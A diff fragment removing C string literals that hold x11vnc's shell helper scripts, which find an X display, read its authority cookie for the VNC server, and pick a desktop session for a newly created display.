-"dL=\"-L\"\n"
-"if uname -sr | egrep 'SunOS 5\\.[5-8]' > /dev/null; then\n"
-" dL=\"-h\"\n"
-"fi\n"
-"\n"
-"# a portable tmp file creator\n"
-"mytmp() {\n"
-" tf=$1\n"
-" if type mktemp > /dev/null 2>&1; then\n"
-" # if we have mktemp(1), use it:\n"
-" tf2=\"$tf.XXXXXX\"\n"
-" tf2=`mktemp \"$tf2\"`\n"
-" if [ \"X$tf2\" != \"X\" -a -f \"$tf2\" ]; then\n"
-" if [ \"X$DEBUG_MKTEMP\" != \"X\" ]; then\n"
-" echo \"mytmp-mktemp: $tf2\" 1>&2\n"
-" fi\n"
-" echo \"$tf2\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" # fallback to multiple cmds:\n"
-" rm -rf \"$tf\" || exit 1\n"
-" if [ -d \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists as a directory.\"\n"
-" exit 1\n"
-" elif [ $dL \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists as a symlink.\"\n"
-" exit 1\n"
-" elif [ -f \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists.\"\n"
-" exit 1\n"
-" fi\n"
-" touch \"$tf\" || exit 1\n"
-" chmod 600 \"$tf\" || exit 1\n"
-" rchk\n"
-" if [ \"X$DEBUG_MKTEMP\" != \"X\" ]; then\n"
-" echo \"mytmp-touch: $tf\" 1>&2\n"
-" fi\n"
-" echo \"$tf\"\n"
-"}\n"
-"\n"
-"skip_display() {\n"
-" dtry=$1\n"
-" dtry1=`echo \"$dtry\" | sed -e 's/^://'`\n"
-" dtry2=`echo \"$dtry\" | sed -e 's/\\.[0-9][0-9]*$//'`\n"
-"\n"
-" if [ \"X$X11VNC_SKIP_DISPLAY\" = \"X\" ]; then\n"
-" # no skip list, return display:\n"
-" echo \"$dtry\"\n"
-" else\n"
-" # user supplied skip list:\n"
-" mat=\"\"\n"
-" slist=\"\"\n"
-" for skip in `echo \"$X11VNC_SKIP_DISPLAY\" | tr ',' '\\n'`\n"
-" do\n"
-" if echo \"$skip\" | sed -e 's/://g' | grep '^[0-9][0-9]*-[0-9][0-9]*$' > /dev/null; then\n"
-" # a range n-m\n"
-" min=`echo \"$skip\" | sed -e 's/://g' | awk -F- '{print $1}'`\n"
-" max=`echo \"$skip\" | sed -e 's/://g' | awk -F- '{print $2}'`\n"
-" if [ \"$min\" -le \"$max\" ]; then\n"
-" while [ $min -le $max ]\n"
-" do\n"
-" if [ \"X$slist\" = \"X\" ]; then\n"
-" slist=\"$min\"\n"
-" else\n"
-" slist=\"$slist $min\"\n"
-" fi\n"
-" min=`expr $min + 1`\n"
-" done\n"
-" continue\n"
-" fi\n"
-" fi\n"
-" # a simple :n or n (or user supplied garbage).\n"
-" if [ \"X$slist\" = \"X\" ]; then\n"
-" slist=\"$skip\"\n"
-" else\n"
-" slist=\"$slist $skip\"\n"
-" fi\n"
-" done\n"
-"\n"
-" for skip in $slist\n"
-" do\n"
-" if echo \"$skip\" | grep \"^:\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" skip=\":$skip\"\n"
-" fi\n"
-" skip2=`echo \"$skip\" | sed -e 's/\\.[0-9][0-9]*$//'`\n"
-"\n"
-" if echo \"$skip\" | grep \":$dtry1\\>\" > /dev/null; then\n"
-" mat=1\n"
-" break\n"
-" elif echo \"$skip\" | grep \":$dtry2\\>\" > /dev/null; then\n"
-" mat=1\n"
-" break\n"
-" elif [ \"X$skip2\" = \"X:$dtry1\" ]; then\n"
-" mat=1\n"
-" break\n"
-" elif [ \"X$skip2\" = \"X:$dtry2\" ]; then\n"
-" mat=1\n"
-" break\n"
-" fi\n"
-" done\n"
-" if [ \"X$X11VNC_SKIP_DISPLAY_NEGATE\" = \"X\" ]; then\n"
-" if [ \"X$mat\" = \"X1\" ]; then\n"
-" echo \"\"\n"
-" else\n"
-" echo \"$dtry\"\n"
-" fi\n"
-" else\n"
-" if [ \"X$mat\" = \"X1\" ]; then\n"
-" echo \"$dtry\"\n"
-" else\n"
-" echo \"\"\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"}\n"
-"\n"
-"am_root=\"\"\n"
-"if id | sed -e 's/ gid.*$//' | grep -w root > /dev/null; then\n"
-" am_root=1\n"
-"fi\n"
-"am_gdm=\"\"\n"
-"if id | sed -e 's/ gid.*$//' | grep -w gdm > /dev/null; then\n"
-" am_gdm=1\n"
-"fi\n"
-"\n"
-"# this mode is to try to grab a display manager (gdm, kdm, xdm...) display\n"
-"# when we are run as root (e.g. no one is logged in yet). We look at the\n"
-"# -auth line in the X/Xorg commandline.\n"
-"#\n"
-"if [ \"X$FD_XDM\" != \"X\" ]; then\n"
-" list=\"\"\n"
-" for pair in `echo \"$psout\" | grep '/X.* :[0-9][0-9]* .*-auth' | egrep -v 'startx|xinit' | sed -e 's,^.*/X.* \\(:[0-9][0-9]*\\) .* -auth \\([^ ][^ ]*\\).*$,\\1\\,\\2,' | sort -u`\n"
-" do\n"
-" da=`echo \"$pair\" | awk -F, '{print $1}'`\n"
-" xa=`echo \"$pair\" | awk -F, '{print $2}'`\n"
-" da=`skip_display \"$da\"`\n"
-" if [ \"X$da\" = \"X\" ]; then\n"
-" continue\n"
-" fi\n"
-" if [ -f $xa -a -r $xa ]; then\n"
-" # if we have an xauth file, we proceed to test it:\n"
-" #\n"
-" env XAUTHORITY=\"$xa\" xdpyinfo -display \"$da\" >/dev/null 2>&1\n"
-" if [ $? = 0 ]; then\n"
-" si_root=\"\"\n"
-" si_gdm=\"\"\n"
-" # recent gdm seems to use SI:localuser: for xauth.\n"
-" if env DISPLAY=\"$da\" xhost 2>/dev/null | grep -i '^SI:localuser:root$' > /dev/null; then\n"
-" si_root=1\n"
-" fi\n"
-" if env DISPLAY=\"$da\" xhost 2>/dev/null | grep -i '^SI:localuser:gdm$' > /dev/null; then\n"
-" si_gdm=1\n"
-" fi\n"
-" env XAUTHORITY=/dev/null xdpyinfo -display \"$da\" >/dev/null 2>&1\n"
-" rc=$?\n"
-" if [ \"X$rc\" = \"X0\" ]; then\n"
-" # assume it is ok for server interpreted case.\n"
-" if [ \"X$am_root\" = \"X1\" -a \"X$si_root\" = \"X1\" ]; then\n"
-" rc=5\n"
-" elif [ \"X$am_gdm\" = \"X1\" -a \"X$si_gdm\" = \"X1\" ]; then\n"
-" rc=6\n"
-" fi\n"
-" fi\n"
-" if [ $rc != 0 ]; then\n"
-" y=`prdpy $da`\n"
-" if [ \"X$FIND_DISPLAY_NO_SHOW_DISPLAY\" = \"X\" ]; then\n"
-" echo \"DISPLAY=$y\"\n"
-" fi\n"
-" if [ \"X$FIND_DISPLAY_XAUTHORITY_PATH\" != \"X\" ]; then\n"
-" # caller wants XAUTHORITY printed out too.\n"
-" if [ \"X$xa\" != \"X\" -a -f \"$xa\" ]; then\n"
-" echo \"XAUTHORITY=$xa\"\n"
-" else\n"
-" echo \"XAUTHORITY=$XAUTHORITY\"\n"
-" fi\n"
-" fi\n"
-" if [ \"X$showxauth\" != \"X\" ]; then\n"
-" # copy the cookie:\n"
-" cook=`xauth -f \"$xa\" list | head -n 1 | awk '{print $NF}'`\n"
-" xtf=$HOME/.xat.$$\n"
-" xtf=`mytmp \"$xtf\"`\n"
-" if [ ! -f $xtf ]; then\n"
-" xtf=/tmp/.xat.$$\n"
-" xtf=`mytmp \"$xtf\"`\n"
-" fi\n"
-" if [ ! -f $xtf ]; then\n"
-" xtf=/tmp/.xatb.$$\n"
-" rm -f $xtf\n"
-" if [ -f $xtf ]; then\n"
-" exit 1\n"
-" fi\n"
-" touch $xtf 2>/dev/null\n"
-" chmod 600 $xtf 2>/dev/null\n"
-" if [ ! -f $xtf ]; then\n"
-" exit 1\n"
-" fi\n"
-" fi\n"
-" xauth -f $xtf add \"$da\" . $cook\n"
-" xauth -f $xtf extract - \"$da\" 2>/dev/null\n"
-" rm -f $xtf\n"
-" fi\n"
-" # DONE\n"
-" exit 0\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" done\n"
-" if [ \"X$FIND_DISPLAY_XAUTHORITY_PATH\" = \"X\" ]; then\n"
-" echo \"\" # failure\n"
-" fi\n"
-" if [ \"X$showxauth\" != \"X\" ]; then\n"
-" echo \"\"\n"
-" fi\n"
-" # DONE\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"# Normal case here (not xdm...).\n"
-"\n"
-"# Try to match X DISPLAY to user:\n"
-"\n"
-"# who(1) output column 2:\n"
-"#gone=`last $user | grep 'gone.*no.logout' | awk '{print $2}' | grep '^:' | sed -e 's,/.*,,' | tr '\\n' '|'`\n"
-"#gone=\"${gone}__quite_impossible__\"\n"
-"#display=`who 2>/dev/null | grep \"^${user}[ ][ ]*:[0-9]\" | egrep -v \" ($gone)\\>\" | head -n 1 \\\n"
-"# | awk '{print $2}' | sed -e 's,/.*$,,'`\n"
-"\n"
-"poss=\"\"\n"
-"list=`who 2>/dev/null | grep \"^${user}[ ][ ]*:[0-9]\" | awk '{print $2}' | sed -e 's,/.*$,,'`\n"
-"list=\"$list \"`w -h \"$user\" 2>/dev/null | grep \"^${user}[ ][ ]*:[0-9]\" | awk '{print $2}' | sed -e 's,/.*$,,'`\n"
-"list=\"$list \"`who 2>/dev/null | grep \"^${user}[ ]\" | awk '{print $NF}' | grep '(:[0-9]' | sed -e 's/[()]//g'`\n"
-"host=`hostname 2>/dev/null | sed -e 's/\\..*$//'`\n"
-"\n"
-"got_local_dm_file=\"\"\n"
-"\n"
-"if [ \"X$X11VNC_FINDDISPLAY_SKIP_XAUTH\" = \"X\" ]; then\n"
-" # do a normal xauth list:\n"
-" list=\"$list \"`xauth list | awk '{print $1}' | grep /unix | grep \"^${host}\" | sed -e 's/^.*:/:/' | sort -n | uniq`\n"
-"\n"
-" # check for gdm and kdm non-NFS cookies in /tmp: (and now /var/run/gdm)\n"
-" for xa in /tmp/.gdm* /tmp/.Xauth* /var/run/gdm*/auth-for-*/database /var/run/gdm*/auth-cookie-*-for-*\n"
-" do\n"
-" # try to be somewhat careful about the real owner of the file:\n"
-" if [ \"X$am_root\" = \"X1\" ]; then\n"
-" break\n"
-" fi\n"
-" if [ -f $xa -a -r $xa ]; then\n"
-" if ls -l \"$xa\" | sed -e 's,/tmp.*$,,' -e 's,/var.*$,,' | grep -w \"$user\" > /dev/null; then\n"
-" # append these too:\n"
-" if find \"$xa\" -user \"$user\" -perm 600 > /dev/null; then\n"
-" :\n"
-" else\n"
-" continue\n"
-" fi\n"
-" # it passes the ownership tests, add it:\n"
-" # since the directory is (evidently) local, \"localhost\" is good too. (but beware XAUTHLOCALHOSTNAME in libxcb)\n"
-" sav0=\"$list \"\n"
-" list=\"$list \"`xauth -f \"$xa\" list | awk '{print $1}' | grep /unix | egrep -i \"^${host}|^localhost\" | sed -e 's/^.*:/:/' | sort -n | uniq | sed -e \"s,\\$,\\,$xa,\"`\n"
-" if [ \"X$sav0\" != \"X$list\" ]; then\n"
-" got_local_dm_file=1\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" done\n"
-"fi\n"
-"\n"
-"if [ \"X$uname\" = \"XDarwin\" ]; then\n"
-" # macosx uses \"console\" string (in leopard X11 runs/launched by default)\n"
-" if who 2>/dev/null | grep -i \"^${user}[ ][ ]*console[ ]\" > /dev/null; then\n"
-" echo \"DISPLAY=console\"\n"
-" if [ \"X$FIND_DISPLAY_ALL\" = \"X\" ]; then\n"
-" if [ \"X$showxauth\" != \"X\" ]; then\n"
-" echo \"\"\n"
-" fi\n"
-" exit 0\n"
-" fi\n"
-" fi\n"
-"fi\n"
-"\n"
-"# try the items in the list:\n"
-"#\n"
-"nsout_trim=`echo \"$nsout\" | grep \"/tmp/.X11-unix/\"`\n"
-"#\n"
-"for p in $list\n"
-"do\n"
-" xa=`echo \"$p\" | awk -F, '{print $2}'`\n"
-" d=`echo \"$p\" | sed -e 's/,.*$//' -e 's/://' -e 's/\\..*$//'`\n"
-" ok=\"\"\n"
-" d=`skip_display \"$d\"`\n"
-" if [ \"X$d\" = \"X\" ]; then\n"
-" continue;\n"
-" fi\n"
-"\n"
-" # check for the local X11 files:\n"
-" xd=\"/tmp/.X11-unix/X$d\"\n"
-" if [ -r \"$xd\" -o -w \"$xd\" -o -x \"$xd\" ]; then\n"
-" if echo \"$nsout_trim\" | grep \"/tmp/.X11-unix/X$d[ ]*\\$\" > /dev/null; then\n"
-" ok=1\n"
-" fi\n"
-" fi\n"
-" if [ \"X$ok\" = \"X\" ]; then\n"
-" # instead check for the lock:\n"
-" if [ -f \"/tmp/.X$d-lock\" ]; then\n"
-" pid=`cat \"/tmp/.X$d-lock\" | sed -e 's/[ ]//g'`\n"
-" if echo \"$pid\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" if [ \"X$uname\" = \"XLinux\" -o \"X$uname\" = \"XSunOS\" ]; then\n"
-" if [ -d \"/proc/$pid\" ]; then\n"
-" ok=1\n"
-" fi\n"
-" elif echo \"$pslist\" | grep -w \"$pid\" > /dev/null; then\n"
-" ok=1\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"\n"
-" if [ \"X$ok\" = \"X1\" ]; then\n"
-" # ok, put it on the list\n"
-" poss=\"$poss $p\"\n"
-" fi\n"
-"done\n"
-"\n"
-"seenvalues=\"\"\n"
-"\n"
-"seen() {\n"
-" # simple util to skip repeats\n"
-" v=$1\n"
-" if [ \"X$seenvalues\" != \"X\" ]; then\n"
-" for v2 in $seenvalues\n"
-" do\n"
-" if [ \"X$v\" = \"X$v2\" ]; then\n"
-" seenret=1\n"
-" return\n"
-" fi\n"
-" done\n"
-" fi\n"
-" if [ \"X$seenvalues\" = \"X\" ]; then\n"
-" seenvalues=\"$v\"\n"
-" else\n"
-" seenvalues=\"$seenvalues $v\"\n"
-" fi\n"
-" seenret=0\n"
-"}\n"
-"\n"
-"# now get read to try each one in $poss\n"
-"#\n"
-"poss=`echo \"$poss\" | sed -e 's/^ *//' -e 's/ *$//'`\n"
-"display=\"\"\n"
-"xauth_use=\"\"\n"
-"\n"
-"if [ \"X$X11VNC_FINDDISPLAY_SKIP_XAUTH\" != \"X\" ]; then\n"
-" # we are not supposed to call xauth(1), simply report\n"
-" if [ \"X$FIND_DISPLAY_ALL\" != \"X\" ]; then\n"
-" for p in $poss\n"
-" do\n"
-" if [ \"X$p\" = \"X\" ]; then\n"
-" continue\n"
-" fi\n"
-" seen \"$p\"\n"
-" if [ \"X$seenret\" = \"X1\" ]; then\n"
-" continue\n"
-" fi\n"
-" # get rid of any ,xauth\n"
-" p=`echo \"$p\" | sed -e 's/,.*$//'`\n"
-" y=`prdpy $p`\n"
-" echo $y\n"
-" done\n"
-" exit 0\n"
-" fi\n"
-" display=`echo \"$poss\" | tr ' ' '\\n' | head -n 1`\n"
-"else\n"
-" freebie=\"\"\n"
-" xauth_freebie=\"\"\n"
-" for p in $poss\n"
-" do\n"
-" if [ \"X$p\" = \"X\" ]; then\n"
-" continue\n"
-" fi\n"
-" seen \"$p\"\n"
-" if [ \"X$seenret\" = \"X1\" ]; then\n"
-" continue\n"
-" fi\n"
-"\n"
-" # extract ,xauth if any.\n"
-" xa=\"\"\n"
-" xa=`echo \"$p\" | awk -F, '{print $2}'`\n"
-" p=`echo \"$p\" | sed -e 's/,.*$//'`\n"
-"\n"
-" # check xauth for it:\n"
-" if [ \"X$xa\" != \"X\" ]; then\n"
-" myenv=\"XAUTHORITY=$xa\"\n"
-" else\n"
-" myenv=\"FOO_BAR_=baz\"\n"
-" fi\n"
-" p=`skip_display \"$p\"`\n"
-" if [ \"X$p\" = \"X\" ]; then\n"
-" continue\n"
-" fi\n"
-"\n"
-" env \"$myenv\" xdpyinfo -display \"$p\" >/dev/null 2>&1\n"
-" rc=$?\n"
-"\n"
-" if [ $rc != 0 ]; then\n"
-" # guard against libxcb/desktop silliness: \n"
-" xalhn_save=$XAUTHLOCALHOSTNAME\n"
-"\n"
-" if [ \"X$xalhn_save\" != \"X\" ]; then\n"
-" # try it again unset\n"
-" unset XAUTHLOCALHOSTNAME\n"
-" env \"$myenv\" xdpyinfo -display \"$p\" >/dev/null 2>&1\n"
-" rc=$?\n"
-" if [ $rc != 0 ]; then\n"
-" # did not work; put it back\n"
-" XAUTHLOCALHOSTNAME=$xalhn_save\n"
-" export XAUTHLOCALHOSTNAME\n"
-" fi\n"
-" fi\n"
-" if [ $rc != 0 -a \"X$xalhn_save\" != \"Xlocalhost\" ]; then\n"
-" # try it again with localhost\n"
-" env \"$myenv\" XAUTHLOCALHOSTNAME=localhost xdpyinfo -display \"$p\" >/dev/null 2>&1\n"
-" rc=$?\n"
-" if [ $rc = 0 ]; then\n"
-" # better export it for cmds below...\n"
-" XAUTHLOCALHOSTNAME=localhost\n"
-" export XAUTHLOCALHOSTNAME\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"\n"
-" if [ $rc = 0 ]; then\n"
-" if [ \"X$FD_TAG\" != \"X\" ]; then\n"
-" # look for x11vnc special FD_TAG property:\n"
-" if [ \"X$xa\" = \"X\" ]; then\n"
-" if xprop -display \"$p\" -root -len 128 FD_TAG | grep -iv no.such.atom \\\n"
-" | grep \"=[ ][ ]*\\\"$FD_TAG\\\"\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" continue\n"
-" fi\n"
-" else\n"
-" if env XAUTHORITY=\"$xa\" xprop -display \"$p\" -root -len 128 FD_TAG | grep -iv no.such.atom \\\n"
-" | grep \"=[ ][ ]*\\\"$FD_TAG\\\"\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" continue\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"\n"
-" # Now try again with no authority:\n"
-" env XAUTHORITY=/dev/null xdpyinfo -display \"$p\" >/dev/null 2>&1\n"
-"\n"
-" # 0 means got in for free... skip it unless we don't find anything else.\n"
-" if [ $? != 0 ]; then\n"
-" # keep it\n"
-" display=\"$p\"\n"
-" xauth_use=\"$xa\"\n"
-" if [ \"X$FIND_DISPLAY_ALL\" != \"X\" ]; then\n"
-" y=`prdpy $p`\n"
-" echo \"DISPLAY=$y\"\n"
-" continue\n"
-" fi\n"
-" break\n"
-" else\n"
-" # store in freebie as fallback\n"
-" if [ \"X$FIND_DISPLAY_ALL\" != \"X\" ]; then\n"
-" y=`prdpy $p`\n"
-" echo \"$y,NOXAUTH\"\n"
-" continue\n"
-" fi\n"
-" if [ \"X$freebie\" = \"X\" ]; then\n"
-" freebie=\"$p\"\n"
-" xauth_freebie=\"$xa\"\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" done\n"
-" if [ \"X$display\" = \"X\" -a \"X$freebie\" != \"X\" ]; then\n"
-" # fallback to the freebie (if any)\n"
-" display=\"$freebie\"\n"
-" xauth_use=\"$xauth_freebie\"\n"
-" fi\n"
-"fi\n"
-"\n"
-"if [ \"X$FIND_DISPLAY_ALL\" != \"X\" ]; then\n"
-" # we have listed everything, get out.\n"
-" exit\n"
-"fi\n"
-"if [ \"X$display\" = \"X\" ]; then\n"
-" if [ \"X$FINDDISPLAY_run\" = \"X\" ]; then\n"
-" echo \"\" # failure\n"
-" if [ \"X$showxauth\" != \"X\" ]; then\n"
-" echo \"\"\n"
-" fi\n"
-" fi\n"
-" exit 1\n"
-"fi\n"
-"\n"
-"# append ,VT=n if applicable:\n"
-"dpy2=`prdpy \"$display\"`\n"
-"\n"
-"if [ \"X$FIND_DISPLAY_NO_SHOW_DISPLAY\" = \"X\" ]; then\n"
-" echo \"DISPLAY=$dpy2\"\n"
-"fi\n"
-"if [ \"X$FIND_DISPLAY_XAUTHORITY_PATH\" != \"X\" ]; then\n"
-" # caller wants XAUTHORITY printed out too.\n"
-" if [ \"X$xauth_use\" != \"X\" -a -f \"$xauth_use\" ]; then\n"
-" echo \"XAUTHORITY=$xauth_use\"\n"
-" else\n"
-" echo \"XAUTHORITY=$XAUTHORITY\"\n"
-" fi\n"
-"fi\n"
-"if [ \"X$showxauth\" != \"X\" ]; then\n"
-" # show the (binary) xauth data:\n"
-" if [ \"X$xauth_use\" != \"X\" -a -f \"$xauth_use\" ]; then\n"
-" xauth -f \"$xauth_use\" extract - \"$display\" 2>/dev/null\n"
-" else\n"
-" xauth extract - \"$display\" 2>/dev/null\n"
-" fi\n"
-"fi\n"
-"\n"
-"exit 0\n"
-;
-
-char create_display[] =
-"#!/bin/sh\n"
-"\n"
-"#CREATE_DISPLAY_OUTPUT=/tmp/cdo.txt\n"
-"\n"
-"if echo \"$USER\" | egrep 'runge' > /dev/null ; then\n"
-" CREATE_DISPLAY_OUTPUT=/tmp/cdo.$USER.txt\n"
-" if [ -f $CREATE_DISPLAY_OUTPUT -a ! -w $CREATE_DISPLAY_OUTPUT ]; then\n"
-" CREATE_DISPLAY_OUTPUT=$CREATE_DISPLAY_OUTPUT.$$\n"
-" fi\n"
-"fi\n"
-"if [ \"X$CREATE_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" if [ \"X$CREATE_DISPLAY_EXEC\" = \"X\" ]; then\n"
-" CREATE_DISPLAY_EXEC=1\n"
-" export CREATE_DISPLAY_EXEC\n"
-" if [ \"X$CREATE_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" /bin/sh $0 \"$@\" 2> $CREATE_DISPLAY_OUTPUT\n"
-" else\n"
-" /bin/sh $0 \"$@\" 2> /dev/null\n"
-" fi\n"
-" exit $?\n"
-" fi\n"
-"fi\n"
-"if [ \"X$CREATE_DISPLAY_PERL_SETPGRP\" = \"X\" ]; then\n"
-" CREATE_DISPLAY_PERL_SETPGRP=1\n"
-" export CREATE_DISPLAY_PERL_SETPGRP\n"
-" if type perl >/dev/null 2>&1; then\n"
-" perl -e \"setpgrp(0,0); exec '/bin/sh $0 $*'\";\n"
-" exit $?\n"
-" fi\n"
-"fi\n"
-"\n"
-"\n"
-"if [ \"X$CREATE_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" set -xv\n"
-"fi\n"
-"\n"
-"COLUMNS=256\n"
-"export COLUMNS\n"
-"\n"
-"LC_ALL_save=$LC_ALL\n"
-"LC_ALL=C\n"
-"export LC_ALL\n"
-"\n"
-"findfree() {\n"
-" try=20\n"
-" dpymax=79\n"
-" if [ \"X$X11VNC_CREATE_STARTING_DISPLAY_NUMBER\" != \"X\" ]; then\n"
-" try=$X11VNC_CREATE_STARTING_DISPLAY_NUMBER\n"
-" fi\n"
-" if [ \"X$X11VNC_CREATE_MAX_DISPLAYS\" != \"X\" ]; then\n"
-" dpymax=$X11VNC_CREATE_MAX_DISPLAYS\n"
-" fi\n"
-" sry=`expr $try + $dpymax`\n"
-" n=\"\"\n"
-" nsout=\"\"\n"
-" if [ \"X$have_netstat\" != \"X\" ]; then\n"
-" nsout=`$have_netstat -an`\n"
-" fi\n"
-" nsout_trim=`echo \"$nsout\" | grep \"/tmp/.X11-unix/\"`\n"
-" while [ $try -lt $sry ]\n"
-" do\n"
-" tlock=\"/tmp/.X${try}-lock\"\n"
-" if [ -r $tlock ]; then\n"
-" if echo \"$nsout_trim\" | grep \"/tmp/.X11-unix/X${try}[ ]*\\$\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" pid=`head -n 1 $tlock 2>/dev/null | sed -e 's/[ ]//g' | grep '^[0-9][0-9]*$'`\n"
-" if [ \"X$pid\" != \"X\" ]; then\n"
-" exists=0\n"
-" if [ -d /proc/$pid ]; then\n"
-" exists=1\n"
-" elif kill -0 $pid 2>/dev/null; then\n"
-" exists=1\n"
-" fi\n"
-" if [ \"X$exists\" = \"X0\" ]; then\n"
-" rm -f $tlock\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" if [ ! -f $tlock ]; then\n"
-" if echo \"$nsout_trim\" | grep \"/tmp/.X11-unix/X${try}[ ]*\\$\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" n=$try\n"
-" break\n"
-" fi\n"
-" fi\n"
-" try=`expr $try + 1`\n"
-" done\n"
-" echo \"$n\"\n"
-"}\n"
-"\n"
-"random() {\n"
-" if [ \"X$RANDOM\" != \"X\" ]; then\n"
-" echo \"$RANDOM\"\n"
-" else\n"
-" r1=`bash -c 'echo $RANDOM' 2>/dev/null`\n"
-" if echo \"$r1\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" echo \"$r1\"\n"
-" else\n"
-" r2=`sh -c 'echo $$; date; ps -elf' 2>&1 | sum -r 2>/dev/null | awk '{print $1}'`\n"
-" if echo \"$r2\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" echo \"$r2\"\n"
-" else\n"
-" r3=`sh -c 'echo $$'`\n"
-" echo \"$r3\"\n"
-" fi\n"
-" fi\n"
-" fi\n"
-"}\n"
-"\n"
-"findsession() {\n"
-" if [ \"X$FD_PROG\" != \"X\" ]; then\n"
-" echo \"$FD_PROG\"\n"
-" return\n"
-" fi\n"
-" if [ \"X$have_gnome_session\" != \"X\" -a \"X$FD_SESS\" = \"Xgnome\" ]; then\n"
-" if [ \"X$have_dbus_launch\" != \"X\" ]; then\n"
-" echo \"$have_dbus_launch --exit-with-session $have_gnome_session\"\n"
-" else\n"
-" echo \"$have_gnome_session\"\n"
-" fi\n"
-" return\n"
-" elif [ \"X$have_startkde\" != \"X\" -a \"X$FD_SESS\" = \"Xkde\" ]; then\n"
-" echo \"$have_startkde\"\n"
-" return\n"
-" elif [ \"X$have_startlxde\" != \"X\" -a \"X$FD_SESS\" = \"Xlxde\" ]; then\n"
-" echo \"$have_startlxde\"\n"
-" return\n"
-" elif [ \"X$have_twm\" != \"X\" -a \"X$FD_SESS\" = \"Xtwm\" ]; then\n"
-" echo \"$have_twm\"\n"
-" return\n"
-" elif [ \"X$have_fvwm2\" != \"X\" -a \"X$FD_SESS\" = \"Xfvwm\" ]; then\n"
-" echo \"$have_fvwm2\"\n"
-" return\n"
-" elif [ \"X$have_mwm\" != \"X\" -a \"X$FD_SESS\" = \"Xmwm\" ]; then\n"
-" echo \"$have_mwm\"\n"
-" return\n"
-" elif [ \"X$have_dtwm\" != \"X\" -a \"X$FD_SESS\" = \"Xdtwm\" ]; then\n"
-" echo \"$have_dtwm\"\n"
-" return\n"
-" elif [ \"X$have_windowmaker\" != \"X\" -a \"X$FD_SESS\" = \"Xwmaker\" ]; then\n"
-" echo \"$have_windowmaker\"\n"
-" return\n"
-" elif [ \"X$have_wmaker\" != \"X\" -a \"X$FD_SESS\" = \"Xwmaker\" ]; then\n"
-" echo \"$have_wmaker\"\n"
-" return\n"
-" elif [ \"X$have_startxfce\" != \"X\" -a \"X$FD_SESS\" = \"Xxfce\" ]; then\n"
-" echo \"$have_startxfce\"\n"
-" return\n"
-" elif [ \"X$have_startxfce4\" != \"X\" -a \"X$FD_SESS\" = \"Xxfce\" ]; then\n"
-" echo \"$have_startxfce4\"\n"
-" return\n"
-" elif [ \"X$have_enlightenment\" != \"X\" -a \"X$FD_SESS\" = \"Xenlightenment\" ]; then\n"
-" echo \"$have_enlightenment\"\n"
-" return\n"
-" elif [ \"X$have_Xsession\" != \"X\" -a \"X$FD_SESS\" = \"XXsession\" ]; then\n"
-" echo \"$have_Xsession\"\n"
-" return\n"
-" elif [ \"X$have_Xsession\" != \"X\" -a \"X$FD_SESS\" = \"Xcde\" ]; then\n"
-" echo \"$have_Xsession\"\n"
-" return\n"
-" elif [ \"X$have_xterm\" != \"X\" -a \"X$FD_SESS\" = \"Xfailsafe\" ]; then\n"
-" echo \"$have_xterm\"\n"
-" return\n"
-" elif [ \"X$have_xterm\" != \"X\" -a \"X$FD_SESS\" = \"Xxterm\" ]; then\n"
-" echo \"$have_xterm\"\n"
-" return\n"
-" fi\n"
-" if type csh > /dev/null 2>&1; then\n"
-" home=`csh -f -c \"echo ~$USER\"`\n"
-" elif type tcsh > /dev/null 2>&1; then\n"
-" home=`tcsh -f -c \"echo ~$USER\"`\n"
-" elif type bash > /dev/null 2>&1; then\n"
-" home=`bash -c \"echo ~$USER\"`\n"
-" else\n"
-" home=\"\"\n"
-" fi\n"
-" if [ \"X$home\" = \"X\" -o ! -d \"$home\" ]; then\n"
-" if [ \"X$have_root\" != \"X\" -a \"X$USER\" != \"Xroot\" ]; then\n"
-" home=`su - $USER -c 'echo $HOME'`\n"
-" fi\n"
-" fi\n"
-" if [ \"X$home\" = \"X\" -o ! -d \"$home\" ]; then\n"
-" if [ -d \"/home/$USER\" ]; then\n"
-" home=\"/home/$USER\"\n"
-" else \n"
-" home=__noplace__\n"
-" fi\n"
-" fi\n"
-" if [ -f \"$home/.dmrc\" ]; then\n"
-" if [ \"X$have_startkde\" != \"X\" ]; then\n"
-" if egrep -i 'Session=kde' \"$home/.dmrc\" > /dev/null; then\n"
-" echo \"$have_startkde\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" if [ \"X$have_startlxde\" != \"X\" ]; then\n"
-" if egrep -i 'Session=lxde' \"$home/.dmrc\" > /dev/null; then\n"
-" echo \"$have_startlxde\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" if [ \"X$have_gnome_session\" != \"X\" ]; then\n"
-" if egrep -i 'Session=gnome' \"$home/.dmrc\" > /dev/null; then\n"
-" echo \"$have_gnome_session\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" for wm in blackbox fvwm icewm wmw openbox twm mwm windowmaker enlightenment metacity startxfce4 startxfce\n"
-" do\n"
-" eval \"have=\\$have_$wm\"\n"
-" if [ \"X$have\" = \"X\" ]; then\n"
-" continue\n"
-" fi\n"
-" if grep -i \"Session=$wm\" \"$home/.dmrc\" > /dev/null; then\n"
-" echo \"$have\"\n"
-" return\n"
-" fi\n"
-" \n"
-" done\n"
-" if egrep -i 'Session=default' \"$home/.dmrc\" > /dev/null; then\n"
